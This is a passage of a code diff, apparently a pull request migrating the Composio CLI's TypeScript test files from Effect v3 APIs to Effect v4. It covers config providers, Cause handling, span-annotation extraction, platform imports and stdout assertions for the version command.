1007 '[Given] --toolkits GMAIL (uppercase) [Then] it handles case-insensitive matching',
1008 () =>
1009 Effect.gen(function* () {
@@ -1036,7 +1033,7 @@ describe('CLI: composio generate ts', () => {
1033 toolkitsData: appClientData,
1034 })
1035 )(it => {
1039 - it.scoped(
1036 + it.effect(
1037 '[Given] --type-tools and COMPOSIO_TOOLKIT_VERSION_GMAIL env var [Then] it adds version comment to generated file',
1038 () =>
1039 Effect.gen(function* () {
@@ -1063,7 +1060,7 @@ describe('CLI: composio generate ts', () => {
1060 })
1061 );
1062
1066 - it.scoped(
1063 + it.effect(
1064 '[Given] --type-tools and multiple COMPOSIO_TOOLKIT_VERSION_* env vars [Then] it adds version comments to both generated files',
1065 () =>
1066 Effect.gen(function* () {
@@ -1091,7 +1088,7 @@ describe('CLI: composio generate ts', () => {
1088 })
1089 );
1090
1094 - it.scoped(
1091 + it.effect(
1092 '[Given] --type-tools and COMPOSIO_TOOLKIT_VERSION_GMAIL=latest [Then] it treats same as no override (no version comment)',
1093 () =>
1094 Effect.gen(function* () {
@@ -1114,7 +1111,7 @@ describe('CLI: composio generate ts', () => {
1111 })
1112 );
1113
1117 - it.scoped(
1114 + it.effect(
1115 '[Given] --toolkits gmail and COMPOSIO_TOOLKIT_VERSION_SLACK env var [Then] it ignores env var for non-requested toolkit',
1116 () =>
1117 Effect.gen(function* () {
@@ -1153,7 +1150,7 @@ describe('CLI: composio generate ts', () => {
1150 })
1151 );
1152
1156 - it.scoped(
1153 + it.effect(
1154 '[Given] --toolkits gmail and COMPOSIO_TOOLKIT_VERSION_GMAIL env var [Then] it applies version override to filtered toolkit',
1155 () =>
1156 Effect.gen(function* () {
@@ -1190,7 +1187,7 @@ describe('CLI: composio generate ts', () => {
1187 })
1188 );
1189
1193 - it.scoped(
1190 + it.effect(
1191 '[Given] no --type-tools and COMPOSIO_TOOLKIT_VERSION_GMAIL env var [Then] it still adds version comment for documentation purposes',
1192 () =>
1193 Effect.gen(function* () {
@@ -1224,11 +1221,11 @@ describe('CLI: composio generate ts', () => {
1221 toolkitsData: appClientData,
1222 })
1223 )(it => {
1227 - it.scoped('[Given] no custom output dir [Then] [Then] it raises an error', () =>
1224 + it.effect('[Given] no custom output dir [Then] [Then] it raises an error', () =>
1225 Effect.gen(function* () {
1226 const args = ['generate', 'ts'];
1227
1231 - const result = yield* cli(args).pipe(Effect.catchAll(e => Effect.succeed(e)));
1228 + const result = yield* cli(args).pipe(Effect.catch(e => Effect.succeed(e)));
1229
1230 expect(result).toEqual(
1231 new ComposioCorePkgNotFound({
ts/packages/cli/test/src/commands/version.test.ts
+19 -11
@@ -4,31 +4,39 @@ import { extendConfigProvider } from 'src/services/config';
4 import { cli, pkg, TestLive, MockConsole } from 'test/__utils__';
5
6 describe('CLI: composio', () => {
7 - const testConfigProvider = ConfigProvider.fromMap(
8 - new Map([['DEBUG_OVERRIDE_VERSION', '1.2.3-test']])
9 - ).pipe(extendConfigProvider);
7 + const testConfigProvider = ConfigProvider.fromEnv({
8 + env: { DEBUG_OVERRIDE_VERSION: '1.2.3-test' },
9 + }).pipe(extendConfigProvider);
10
11 layer(TestLive())(it => {
12 - it.scoped("[Given] no arguments [Then] prints composio's version from package.json", () =>
12 + it.effect("[Given] no arguments [Then] prints composio's version from package.json", () =>
13 Effect.gen(function* () {
14 const args = ['version'];
15 yield* cli(args);
16 - const lines = yield* MockConsole.getLines();
17 - const output = lines.join('\n');
18 - expect(output).toContain(pkg.version);
16 + // `composio version` writes the bare semver to stdout via `ui.output()`
17 + // (the data channel scripts parse). Assert the stdout stream directly
18 + // instead of the merged buffer, so decoration written elsewhere can
19 + // never leak into — or be mistaken for — this contract.
20 + const stdoutLines = yield* MockConsole.getLines({ stream: 'stdout' });
21 + expect(stdoutLines.length).toBeGreaterThan(0);
22 + for (const line of stdoutLines) {
23 + expect(line).toBe(pkg.version);
24 + }
25 })
26 );
27 });
28
29 layer(TestLive({ baseConfigProvider: testConfigProvider }))('with config override', it => {
24 - it.scoped('[Given] `DEBUG_OVERRIDE_VERSION` env var [Then] prints overridden version', () =>
30 + it.effect('[Given] `DEBUG_OVERRIDE_VERSION` env var [Then] prints overridden version', () =>
31 Effect.gen(function* () {
32 const args = ['version'];
33 yield* cli(args);
34
29 - const lines = yield* MockConsole.getLines();
30 - const output = lines.join('\n');
31 - expect(output).toContain('1.2.3-test');
35 + const stdoutLines = yield* MockConsole.getLines({ stream: 'stdout' });
36 + expect(stdoutLines.length).toBeGreaterThan(0);
37 + for (const line of stdoutLines) {
38 + expect(line).toBe('1.2.3-test');
39 + }
40 })
41 );
42 });
ts/packages/cli/test/src/commands/whoami.cmd.test.ts
+6 -6
@@ -9,12 +9,12 @@ describe('CLI: composio whoami', () => {
9 vi.restoreAllMocks();
10 });
11
12 - const testConfigProvider = ConfigProvider.fromMap(
13 - new Map([['COMPOSIO_USER_API_KEY', 'api_key_from_test_config_provider']])
14 - ).pipe(extendConfigProvider);
12 + const testConfigProvider = ConfigProvider.fromEnv({
13 + env: { COMPOSIO_USER_API_KEY: 'api_key_from_test_config_provider' },
14 + }).pipe(extendConfigProvider);
15
16 layer(TestLive({ baseConfigProvider: testConfigProvider }))('with config override', it => {
17 - it.scoped('[Given] `COMPOSIO_USER_API_KEY` [Then] prints global user context JSON', () =>
17 + it.effect('[Given] `COMPOSIO_USER_API_KEY` [Then] prints global user context JSON', () =>
18 Effect.gen(function* () {
19 const args = ['whoami'];
20 yield* cli(args);
@@ -31,7 +31,7 @@ describe('CLI: composio whoami', () => {
31 });
32
33 layer(TestLive({ fixture: 'user-config-example' }))('with fixture', it => {
34 - it.scoped('[Given] user_data.json in fixture [Then] prints global user context JSON', () =>
34 + it.effect('[Given] user_data.json in fixture [Then] prints global user context JSON', () =>
35 Effect.gen(function* () {
36 const args = ['whoami'];
37 yield* cli(args);
@@ -48,7 +48,7 @@ describe('CLI: composio whoami', () => {
48 });
49
50 layer(TestLive({ baseConfigProvider: testConfigProvider }))('with session info', it => {
51 - it.scoped('[Given] session info is available [Then] prints email and org name', () =>
51 + it.effect('[Given] session info is available [Then] prints email and org name', () =>
52 Effect.gen(function* () {
53 vi.spyOn(globalThis, 'fetch').mockResolvedValue(
54 new Response(
ts/packages/cli/test/src/effect-errors/cause-characterization.test.ts
+25 -13
@@ -1,7 +1,7 @@
1 import { describe, expect, it } from '@effect/vitest';
2 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
3 import * as BunPath from '@effect/platform-bun/BunPath';
4 -import { Cause, Data, Effect, FiberId } from 'effect';
4 +import { Cause, Data, Effect } from 'effect';
5
6 import { captureErrors } from 'src/effect-errors/capture-errors';
7 import { captureErrorsFrom } from 'src/effect-errors/logic/errors/capture-errors-from-cause';
@@ -22,7 +22,7 @@ class HttpError extends Data.TaggedError('HttpError')<{
22
23 const stripAnsi = (value: string): string => value.replace(/\x1b\[[0-9;]*m/g, '');
24
25 -const render = (captured: Effect.Effect.Success<ReturnType<typeof capture>>): string =>
25 +const render = (captured: Effect.Success<ReturnType<typeof capture>>): string =>
26 stripAnsi(
27 prettyPrintFromCapturedErrors(captured, {
28 enabled: true,
@@ -64,11 +64,11 @@ describe('captureErrorsFrom (structural Cause traversal)', () => {
64 });
65
66 it('captures nothing for an interruption', () => {
67 - expect(captureErrorsFrom(Cause.interrupt(FiberId.none))).toStrictEqual([]);
67 + expect(captureErrorsFrom(Cause.interrupt())).toStrictEqual([]);
68 });
69
70 it('flattens a sequential cause left to right', () => {
71 - const cause = Cause.sequential(
71 + const cause = Cause.combine(
72 Cause.fail(new DbError({ message: 'first' })),
73 Cause.die(new Error('second'))
74 );
@@ -79,7 +79,7 @@ describe('captureErrorsFrom (structural Cause traversal)', () => {
79 });
80
81 it('flattens a parallel cause left to right', () => {
82 - const cause = Cause.parallel(
82 + const cause = Cause.combine(
83 Cause.fail(new DbError({ message: 'left' })),
84 Cause.fail(new HttpError({ message: 'right' }))
85 );
@@ -90,8 +90,8 @@ describe('captureErrorsFrom (structural Cause traversal)', () => {
90 });
91
92 it('flattens nested parallel-in-sequential causes in traversal order', () => {
93 - const cause = Cause.sequential(
94 - Cause.parallel(
93 + const cause = Cause.combine(
94 + Cause.combine(
95 Cause.fail(new DbError({ message: 'a' })),
96 Cause.fail(new HttpError({ message: 'b' }))
97 ),
@@ -104,8 +104,8 @@ describe('captureErrorsFrom (structural Cause traversal)', () => {
104 });
105
106 it('ignores interruptions mixed with failures', () => {
107 - const cause = Cause.sequential(
108 - Cause.interrupt(FiberId.none),
107 + const cause = Cause.combine(
108 + Cause.interrupt(),
109 Cause.fail(new DbError({ message: 'still there' }))
110 );
111
@@ -114,6 +114,14 @@ describe('captureErrorsFrom (structural Cause traversal)', () => {
114 expect(errors.map(error => error.message)).toStrictEqual(['still there']);
115 });
116
117 + // Effect v4 dropped the `effect/SpanAnnotation` internal that let `Effect.fail`/
118 + // `Effect.die` stamp the ambient span directly onto the raised error value. The
119 + // analogous v4 mechanism recovers the span one level up, from the `Cause`
120 + // `Reason`'s `Cause.StackTrace` annotation (see
121 + // `src/effect-errors/logic/errors/span-annotation.ts` and the canaries in
122 + // `test/src/effect-errors/span-annotation.test.ts`), so `captureErrorsFrom`
123 + // still threads the ambient span into the captured error — just as a name
124 + // chain rather than the old v3 `Span` object.
125 it.effect('threads the ambient span from a runtime failure into the captured error', () =>
126 Effect.gen(function* () {
127 const cause = yield* Effect.fail(new DbError({ message: 'no db' })).pipe(
@@ -124,7 +132,7 @@ describe('captureErrorsFrom (structural Cause traversal)', () => {
132
133 const [error] = captureErrorsFrom(cause);
134
127 - expect(error?.span?.name).toBe('characterization-span');
135 + expect(error?.spans.map(span => span.name)).toEqual(['characterization-span']);
136 })
137 );
138 });
@@ -134,7 +142,7 @@ describe('captureErrors + prettyPrintFromCapturedErrors (rendering)', () => {
142 'reports interrupt-only causes as interrupted and renders the interruption message',
143 () =>
144 Effect.gen(function* () {
137 - const captured = yield* capture(Cause.interrupt(FiberId.none));
145 + const captured = yield* capture(Cause.interrupt());
146
147 expect(captured).toStrictEqual({ interrupted: true, errors: [] });
148 expect(render(captured)).toBe('✅ All fibers interrupted without errors.');
@@ -153,7 +161,10 @@ describe('captureErrors + prettyPrintFromCapturedErrors (rendering)', () => {
161 })
162 );
163
156 - it.effect('renders a runtime failure with its span timeline', () =>
164 + // Same v4 mechanism as above, exercised end to end: the span recovered from the
165 + // `Cause.StackTrace` reason annotation now renders as a (duration-less) span
166 + // timeline instead of falling back to the "consider using spans" hint.
167 + it.effect('renders a runtime failure with a span timeline recovered from the Cause', () =>
168 Effect.gen(function* () {
169 const cause = yield* Effect.fail(new HttpError({ message: 'request failed' })).pipe(
170 Effect.withSpan('characterization-span'),
@@ -166,12 +177,13 @@ describe('captureErrors + prettyPrintFromCapturedErrors (rendering)', () => {
177 expect(output).toContain('💥 HttpError • request failed');
178 expect(output).toContain('◯');
179 expect(output).toContain('characterization-span');
180 + expect(output).not.toContain('Consider using spans to improve errors reporting');
181 })
182 );
183
184 it.effect('renders multiple failures with a count header and per-error indexes in order', () =>
185 Effect.gen(function* () {
174 - const cause = Cause.parallel(
186 + const cause = Cause.combine(
187 Cause.fail(new DbError({ message: 'left' })),
188 Cause.fail(new HttpError({ message: 'right' }))
189 );
ts/packages/cli/test/src/effect-errors/get-sources-from-map-file.test.ts
+11 -13
@@ -1,9 +1,7 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 import * as BunPath from '@effect/platform-bun/BunPath';
3 import { describe, expect, it } from '@effect/vitest';
6 -import { Cause, Effect, Layer, Scope } from 'effect';
4 +import { Cause, Effect, FileSystem, Layer, Path, Scope } from 'effect';
5 import { type RawSourceMap, SourceMapConsumer } from 'source-map-js';
6
7 import { captureErrors } from 'src/effect-errors/capture-errors';
@@ -37,7 +35,7 @@ const run = <A, E>(effect: Effect.Effect<A, E, FileSystem.FileSystem | Path.Path
35 effect.pipe(Effect.provide(TestPlatform));
36
37 describe('getSourcesFromMapFile', () => {
40 - it.scoped('falls back to the full raw location when source-map JSON is malformed', () =>
38 + it.effect('falls back to the full raw location when source-map JSON is malformed', () =>
39 run(
40 Effect.gen(function* () {
41 const { generatedFile } = yield* makeSourceMapFixture('{ this is not valid JSON');
@@ -52,7 +50,7 @@ describe('getSourcesFromMapFile', () => {
50 )
51 );
52
55 - it.scoped('falls back when valid JSON is not a usable source map', () =>
53 + it.effect('falls back when valid JSON is not a usable source map', () =>
54 run(
55 Effect.gen(function* () {
56 const invalidSourceMap = JSON.stringify({
@@ -73,7 +71,7 @@ describe('getSourcesFromMapFile', () => {
71 )
72 );
73
76 - it.scoped('falls back when source-map resolution rejects schema-valid data', () =>
74 + it.effect('falls back when source-map resolution rejects schema-valid data', () =>
75 run(
76 Effect.gen(function* () {
77 const invalidSourceMap = {
@@ -101,7 +99,7 @@ describe('getSourcesFromMapFile', () => {
99 )
100 );
101
104 - it.scoped('falls back when the map points at a source file that was never shipped', () =>
102 + it.effect('falls back when the map points at a source file that was never shipped', () =>
103 run(
104 Effect.gen(function* () {
105 const validSourceMap = JSON.stringify({
@@ -124,7 +122,7 @@ describe('getSourcesFromMapFile', () => {
122 )
123 );
124
127 - it.scoped('falls back when the .map path is a directory rather than a file', () =>
125 + it.effect('falls back when the .map path is a directory rather than a file', () =>
126 run(
127 Effect.gen(function* () {
128 const fs = yield* FileSystem.FileSystem;
@@ -143,7 +141,7 @@ describe('getSourcesFromMapFile', () => {
141 )
142 );
143
146 - it.scoped('enriches maps that use null for the optional file and sourceRoot keys', () =>
144 + it.effect('enriches maps that use null for the optional file and sourceRoot keys', () =>
145 run(
146 Effect.gen(function* () {
147 const sourceContents = "throw new Error('primary diagnostic');\n";
@@ -170,7 +168,7 @@ describe('getSourcesFromMapFile', () => {
168 )
169 );
170
173 - it.scoped('still enriches locations from valid source maps', () =>
171 + it.effect('still enriches locations from valid source maps', () =>
172 run(
173 Effect.gen(function* () {
174 const sourceContents = "throw new Error('primary diagnostic');\n";
@@ -200,7 +198,7 @@ describe('getSourcesFromMapFile', () => {
198 )
199 );
200
203 - it.scoped('preserves the primary diagnostic through captureErrors', () =>
201 + it.effect('preserves the primary diagnostic through captureErrors', () =>
202 run(
203 Effect.gen(function* () {
204 const path = yield* Path.Path;
@@ -230,7 +228,7 @@ describe('getSourcesFromMapFile', () => {
228 )
229 );
230
233 - it.scoped('preserves the primary diagnostic when the original source is missing', () =>
231 + it.effect('preserves the primary diagnostic when the original source is missing', () =>
232 run(
233 Effect.gen(function* () {
234 const path = yield* Path.Path;
@@ -269,7 +267,7 @@ describe('getSourcesFromMapFile', () => {
267 )
268 );
269
272 - it.scoped('preserves the primary diagnostic when a .ts frame is unreadable', () =>
270 + it.effect('preserves the primary diagnostic when a .ts frame is unreadable', () =>
271 run(
272 Effect.gen(function* () {
273 const path = yield* Path.Path;
ts/packages/cli/test/src/effect-errors/span-annotation.test.ts
+53 -21
@@ -1,17 +1,38 @@
1 import { describe, expect, it } from '@effect/vitest';
2 import { Cause, Data, Effect, Option } from 'effect';
3 -import { extractSpanAnnotation } from 'src/effect-errors/logic/errors/span-annotation';
3 +import { extractSpanStackFrames } from 'src/effect-errors/logic/errors/span-annotation';
4
5 class CanaryError extends Data.TaggedError('CanaryError')<{
6 readonly message: string;
7 }> {}
8
9 -const failureOf = <E>(cause: Cause.Cause<E>): E =>
10 - Option.getOrThrowWith(Cause.failureOption(cause), () => new Error('expected a failure cause'));
9 +const findFailReason = <E>(cause: Cause.Cause<E>): Cause.Reason<E> =>
10 + Option.getOrThrowWith(
11 + Option.fromUndefinedOr(cause.reasons.find(Cause.isFailReason)),
12 + () => new Error('expected a fail reason')
13 + );
14 +
15 +const findDieReason = <E>(cause: Cause.Cause<E>): Cause.Reason<E> =>
16 + Option.getOrThrowWith(
17 + Option.fromUndefinedOr(cause.reasons.find(Cause.isDieReason)),
18 + () => new Error('expected a die reason')
19 + );
20
12 -describe('extractSpanAnnotation', () => {
21 +describe('extractSpanStackFrames', () => {
22 + // v4 dropped the `effect/SpanAnnotation` internal that let `Effect.fail`/`Effect.die`
23 + // stamp the ambient span directly onto the raised error value. The analogous v4
24 + // mechanism lives one level up, on the `Cause` `Reason`: `Effect.withSpan` pushes a
25 + // span-named `StackFrame` onto the `CurrentStackFrame` fiber reference, and on
26 + // failure the runtime annotates every reason with that frame chain under the
27 + // `Cause.StackTrace` context key (confirmed against `ts/vendor/effect` —
28 + // `internal/effect.ts`'s `provideSpanStackFrame` / `internal/core.ts`'s
29 + // `exitFailCause`, public accessor `Cause.StackTrace`, readable via
30 + // `Context.get(Cause.reasonAnnotations(reason), Cause.StackTrace)`). These two
31 + // canaries assert that chain is recoverable for both `Effect.fail` and
32 + // `Effect.die` — see `src/effect-errors/logic/errors/span-annotation.ts` for the
33 + // extraction and `cause-characterization.test.ts` for the end-to-end render.
34 it.effect(
14 - 'recovers the ambient span from a runtime failure (canary for the effect/SpanAnnotation internal)',
35 + 'recovers the ambient span from a runtime failure (canary for the Cause.StackTrace mechanism)',
36 () =>
37 Effect.gen(function* () {
38 const cause = yield* Effect.fail(new CanaryError({ message: 'boom' })).pipe(
@@ -20,10 +41,9 @@ describe('extractSpanAnnotation', () => {
41 Effect.flip
42 );
43
23 - const span = extractSpanAnnotation(failureOf(cause));
44 + const frames = extractSpanStackFrames(findFailReason(cause));
45
25 - expect(span).toBeDefined();
26 - expect(span?.name).toBe('canary-span');
46 + expect(frames.map(frame => frame.name)).toEqual(['canary-span']);
47 })
48 );
49
@@ -35,23 +55,35 @@ describe('extractSpanAnnotation', () => {
55 Effect.flip
56 );
57
38 - const defects = Cause.defects(cause);
39 - const span = extractSpanAnnotation([...defects][0]);
58 + const frames = extractSpanStackFrames(findDieReason(cause));
59
41 - expect(span?.name).toBe('defect-span');
60 + expect(frames.map(frame => frame.name)).toEqual(['defect-span']);
61 })
62 );
63
45 - it('returns undefined when the error carries no span annotation', () => {
46 - expect(extractSpanAnnotation(new CanaryError({ message: 'boom' }))).toBeUndefined();
47 - expect(extractSpanAnnotation('plain string')).toBeUndefined();
48 - expect(extractSpanAnnotation(undefined)).toBeUndefined();
49 - });
64 + it.effect('recovers a nested span chain innermost-first', () =>
65 + Effect.gen(function* () {
66 + const cause = yield* Effect.fail(new CanaryError({ message: 'nested' })).pipe(
67 + Effect.withSpan('inner-span'),
68 + Effect.withSpan('outer-span'),
69 + Effect.sandbox,
70 + Effect.flip
71 + );
72
51 - it('returns undefined when the annotation does not look like a span', () => {
52 - const spanSymbol = Symbol.for('effect/SpanAnnotation');
53 - const error = { [spanSymbol]: { name: 'not-a-span' } };
73 + const frames = extractSpanStackFrames(findFailReason(cause));
74
55 - expect(extractSpanAnnotation(error)).toBeUndefined();
56 - });
75 + expect(frames.map(frame => frame.name)).toEqual(['inner-span', 'outer-span']);
76 + })
77 + );
78 +
79 + it.effect('returns an empty chain when the reason carries no span annotation', () =>
80 + Effect.gen(function* () {
81 + const cause = yield* Effect.fail(new CanaryError({ message: 'no span' })).pipe(
82 + Effect.sandbox,
83 + Effect.flip
84 + );
85 +
86 + expect(extractSpanStackFrames(findFailReason(cause))).toEqual([]);
87 + })
88 + );
89 });
ts/packages/cli/test/src/effects/decode-connected-account-list.test.ts
+4 -8
@@ -1,5 +1,5 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 -import { Console, Effect, Layer, ParseResult } from 'effect';
2 +import { Console, Effect, Layer, Schema } from 'effect';
3 import {
4 decodeConnectedAccountItems,
5 decodeConnectedAccountListWithFallback,
@@ -7,11 +7,7 @@ import {
7 import { MockConsole } from 'test/__utils__';
8 import { TerminalUITest } from 'test/__utils__/services/terminal-ui-test';
9
10 -const TestLayer = Layer.unwrapEffect(
11 - Effect.map(MockConsole.make, _console =>
12 - Layer.mergeAll(Console.setConsole(_console), TerminalUITest)
13 - )
14 -);
10 +const TestLayer = Layer.mergeAll(Layer.effect(Console.Console, MockConsole.make), TerminalUITest);
11
12 const makeItem = (overrides?: Record<string, unknown>) => ({
13 id: 'con_decode_test',
@@ -69,13 +65,13 @@ describe('decodeConnectedAccountItems', () => {
65 });
66
67 layer(TestLayer)('[Given] a malformed payload', it => {
72 - it.effect('fails with ParseError', () =>
68 + it.effect('fails with SchemaError', () =>
69 Effect.gen(function* () {
70 const error = yield* Effect.flip(
71 decodeConnectedAccountItems([{ definitely: 'not-an-account' }])
72 );
73
78 - expect(ParseResult.isParseError(error)).toBe(true);
74 + expect(Schema.isSchemaError(error)).toBe(true);
75 })
76 );
77 });
ts/packages/cli/test/src/effects/detect-platform.test.ts
+6 -9
@@ -11,15 +11,12 @@ import { NodeOs } from 'src/services/node-os';
11 * Mock NodeOs service with custom platform and architecture
12 */
13 const createMockNodeOs = <P extends NodeJS.Platform>(platform: P, arch: string) =>
14 - Layer.succeed(
15 - NodeOs,
16 - NodeOs.of({
17 - homedir: '/mock/home',
18 - tmpdir: '/tmp',
19 - platform: platform as NodeJS.Platform,
20 - arch: arch as NodeJS.Architecture,
21 - })
22 - );
14 + Layer.succeed(NodeOs, {
15 + homedir: '/mock/home',
16 + tmpdir: '/tmp',
17 + platform: platform as NodeJS.Platform,
18 + arch,
19 + });
20
21 describe('detect-platform.ts', () => {
22 describe('detectPlatform', () => {
ts/packages/cli/test/src/effects/install-skill.test.ts
+35 -26
@@ -1,10 +1,15 @@
1 import { describe, expect, it, vi } from '@effect/vitest';
2 -import { Config, ConfigProvider, Effect, Exit, Layer } from 'effect';
3 -import * as FetchHttpClient from '@effect/platform/FetchHttpClient';
4 -import * as FileSystem from '@effect/platform/FileSystem';
5 -import * as HttpClient from '@effect/platform/HttpClient';
6 -import * as Path from '@effect/platform/Path';
7 -import type * as PlatformError from '@effect/platform/Error';
2 +import {
3 + Config,
4 + ConfigProvider,
5 + Effect,
6 + Exit,
7 + FileSystem,
8 + Layer,
9 + Path,
10 + PlatformError,
11 +} from 'effect';
12 +import { FetchHttpClient, HttpClient } from 'effect/unstable/http';
13 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
14 import * as BunPath from '@effect/platform-bun/BunPath';
15 import * as tempy from 'tempy';
@@ -45,16 +50,16 @@ const makeInstallEffect = (
50 TestPlatform,
51 FetchHttpClient.layer,
52 TerminalUITest,
48 - Layer.succeed(NodeOs, defaultNodeOs({ homedir: home }))
49 - )
50 - ),
51 - Effect.withConfigProvider(
52 - ConfigProvider.fromMap(
53 - new Map([
54 - ['GITHUB_API_BASE_URL', apiBaseUrl],
55 - ['GITHUB_OWNER', 'test-owner'],
56 - ['GITHUB_REPO', 'test-repo'],
57 - ])
53 + Layer.succeed(NodeOs, defaultNodeOs({ homedir: home })),
54 + ConfigProvider.layer(
55 + ConfigProvider.fromEnv({
56 + env: {
57 + GITHUB_API_BASE_URL: apiBaseUrl,
58 + GITHUB_OWNER: 'test-owner',
59 + GITHUB_REPO: 'test-repo',
60 + },
61 + })
62 + )
63 )
64 ),
65 Effect.scoped
@@ -148,8 +153,12 @@ const makeResolveEffect = (
153 releaseTag: options.releaseTag,
154 });
155 }).pipe(
151 - Effect.provide(FetchHttpClient.layer),
152 - Effect.withConfigProvider(ConfigProvider.fromMap(new Map(configEntries))),
156 + Effect.provide(
157 + Layer.mergeAll(
158 + FetchHttpClient.layer,
159 + ConfigProvider.layer(ConfigProvider.fromEnv({ env: Object.fromEntries(configEntries) }))
160 + )
161 + ),
162 Effect.scoped
163 );
164
@@ -238,7 +247,7 @@ describe('install-skill', () => {
247 })
248 );
249
241 - it.scoped('installs from the packaged release tag when package metadata differs', () => {
250 + it.effect('installs from the packaged release tag when package metadata differs', () => {
251 const installDir = tempy.temporaryDirectory();
252 const execPathSpy = vi
253 .spyOn(process, 'execPath', 'get')
@@ -288,7 +297,7 @@ describe('install-skill', () => {
297 );
298 });
299
291 - it.scoped('falls back to the latest inferred channel for source and development runs', () =>
300 + it.effect('falls back to the latest inferred channel for source and development runs', () =>
301 Effect.gen(function* () {
302 yield* stubBunWhichMiss;
303 const apiBaseUrl = yield* startTestHttpServer((_req, res) => {
@@ -331,7 +340,7 @@ describe('install-skill', () => {
340 })
341 );
342
334 - it.scoped('fails with a typed decode error for malformed GitHub release lists', () =>
343 + it.effect('fails with a typed decode error for malformed GitHub release lists', () =>
344 Effect.gen(function* () {
345 const apiBaseUrl = yield* startTestHttpServer((_req, res) => {
346 res.writeHead(200, { 'content-type': 'application/json' });
@@ -357,7 +366,7 @@ describe('install-skill', () => {
366 })
367 );
368
360 - it.scoped('fails with a typed decode error for malformed skill release metadata', () =>
369 + it.effect('fails with a typed decode error for malformed skill release metadata', () =>
370 Effect.gen(function* () {
371 const apiBaseUrl = yield* startTestHttpServer((_req, res) => {
372 res.writeHead(200, { 'content-type': 'application/json' });
@@ -375,7 +384,7 @@ describe('install-skill', () => {
384 })
385 );
386
378 - it.scoped.each(TARGET_SCENARIOS)('installs over %s target', ([, prepareTarget]) =>
387 + it.effect.each(TARGET_SCENARIOS)('installs over %s target', ([, prepareTarget]) =>
388 Effect.gen(function* () {
389 const apiBaseUrl = yield* startSkillReleaseServer(TEST_SKILL_ZIP);
390 const fs = yield* FileSystem.FileSystem;
@@ -397,7 +406,7 @@ describe('install-skill', () => {
406 }).pipe(Effect.provide(TestPlatform))
407 );
408
400 - it.scoped('removes the temporary install directory after extraction fails', () =>
409 + it.effect('removes the temporary install directory after extraction fails', () =>
410 Effect.gen(function* () {
411 const apiBaseUrl = yield* startSkillReleaseServer(new TextEncoder().encode('not a zip'));
412 const home = tempy.temporaryDirectory();
@@ -411,7 +420,7 @@ describe('install-skill', () => {
420 }).pipe(Effect.provide(TestPlatform))
421 );
422
414 - it.scoped('resolves the latest stable release when the stable channel is requested', () =>
423 + it.effect('resolves the latest stable release when the stable channel is requested', () =>
424 Effect.gen(function* () {
425 yield* stubBunWhichMiss;
426 const apiBaseUrl = yield* startTestHttpServer((_req, res) => {
@@ -468,7 +477,7 @@ describe('install-skill', () => {
477 })
478 );
479
471 - it.scoped('resolves the latest beta release when the beta channel is requested', () =>
480 + it.effect('resolves the latest beta release when the beta channel is requested', () =>
481 Effect.gen(function* () {
482 yield* stubBunWhichMiss;
483 const apiBaseUrl = yield* startTestHttpServer((_req, res) => {
ts/packages/cli/test/src/effects/resolve-cli-release.test.ts
+1 -2
@@ -1,7 +1,6 @@
1 import { describe, expect, it } from '@effect/vitest';
2 import { Effect } from 'effect';
3 -import * as HttpClient from '@effect/platform/HttpClient';
4 -import * as HttpClientResponse from '@effect/platform/HttpClientResponse';
3 +import { HttpClient, HttpClientResponse } from 'effect/unstable/http';
4 import { fetchLatestCliRelease, type GitHubRelease } from 'src/effects/resolve-cli-release';
5
6 const githubConfig = {
ts/packages/cli/test/src/effects/toolkit-from-tool-slug.test.ts
+4 -5
@@ -1,7 +1,6 @@
1 import { describe, expect, it } from '@effect/vitest';
2 -import * as FileSystem from '@effect/platform/FileSystem';
2 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 -import { ConfigProvider, DateTime, Effect, Layer, Schedule } from 'effect';
3 +import { ConfigProvider, DateTime, Effect, FileSystem, Layer, Schedule } from 'effect';
4 import * as tempy from 'tempy';
5 import { toolkitFromToolSlug } from 'src/effects/toolkit-from-tool-slug';
6 import type { Toolkits } from 'src/models/toolkits';
@@ -32,7 +31,7 @@ const failingFetch = () =>
31 const learnedFileContent = (slugs: ReadonlyArray<string>, daysAgo = 0) =>
32 JSON.stringify({
33 slugs,
35 - refreshedAt: DateTime.formatIso(DateTime.subtract(DateTime.unsafeNow(), { days: daysAgo })),
34 + refreshedAt: DateTime.formatIso(DateTime.subtract(DateTime.nowUnsafe(), { days: daysAgo })),
35 });
36
37 interface ResolverContext {
@@ -100,7 +99,7 @@ const runInCacheDir = <A>(
99 waitForLearnedFile: predicate =>
100 readLearnedFile.pipe(
101 Effect.filterOrFail(predicate, () => 'learned file has not caught up yet' as const),
103 - Effect.retry(Schedule.spaced('10 millis').pipe(Schedule.intersect(Schedule.recurs(200))))
102 + Effect.retry(Schedule.max([Schedule.spaced('10 millis'), Schedule.recurs(200)]))
103 ),
104 }).pipe(
105 // Built inside this test's cache directory, and fresh per test: the
@@ -115,7 +114,7 @@ const runInCacheDir = <A>(
114 );
115 }).pipe(
116 Effect.provide(BunFileSystem.layer),
118 - Effect.withConfigProvider(ConfigProvider.fromMap(new Map([['CACHE_DIR', cacheDir]])))
117 + Effect.provide(ConfigProvider.layer(ConfigProvider.fromEnvRecord({ CACHE_DIR: cacheDir })))
118 );
119
120 describe('toolkitFromToolSlug', () => {
ts/packages/cli/test/src/effects/with-log-level.test.ts
+15 -11
@@ -1,14 +1,18 @@
1 import { describe, it } from '@effect/vitest';
2 import { assertEquals } from '@effect/vitest/utils';
3 -import { ConfigProvider, Effect, FiberRef, LogLevel, Option } from 'effect';
3 +import { ConfigProvider, Effect, type LogLevel, Option, References } from 'effect';
4 import { setMinimumLogLevel } from 'src/effects/with-log-level';
5 import { extendConfigProvider } from 'src/services/config';
6
7 const withEnv = (entries: ReadonlyArray<readonly [string, string]>) =>
8 - Effect.withConfigProvider(extendConfigProvider(ConfigProvider.fromMap(new Map(entries))));
8 + Effect.provide(
9 + ConfigProvider.layer(
10 + extendConfigProvider(ConfigProvider.fromEnvRecord(Object.fromEntries(entries)))
11 + )
12 + );
13
14 const resolveMinimumLogLevel = (logLevelFromCLI: Option.Option<LogLevel.LogLevel>) =>
11 - FiberRef.get(FiberRef.currentMinimumLogLevel).pipe(
15 + Effect.service(References.MinimumLogLevel).pipe(
16 Effect.provide(setMinimumLogLevel(logLevelFromCLI))
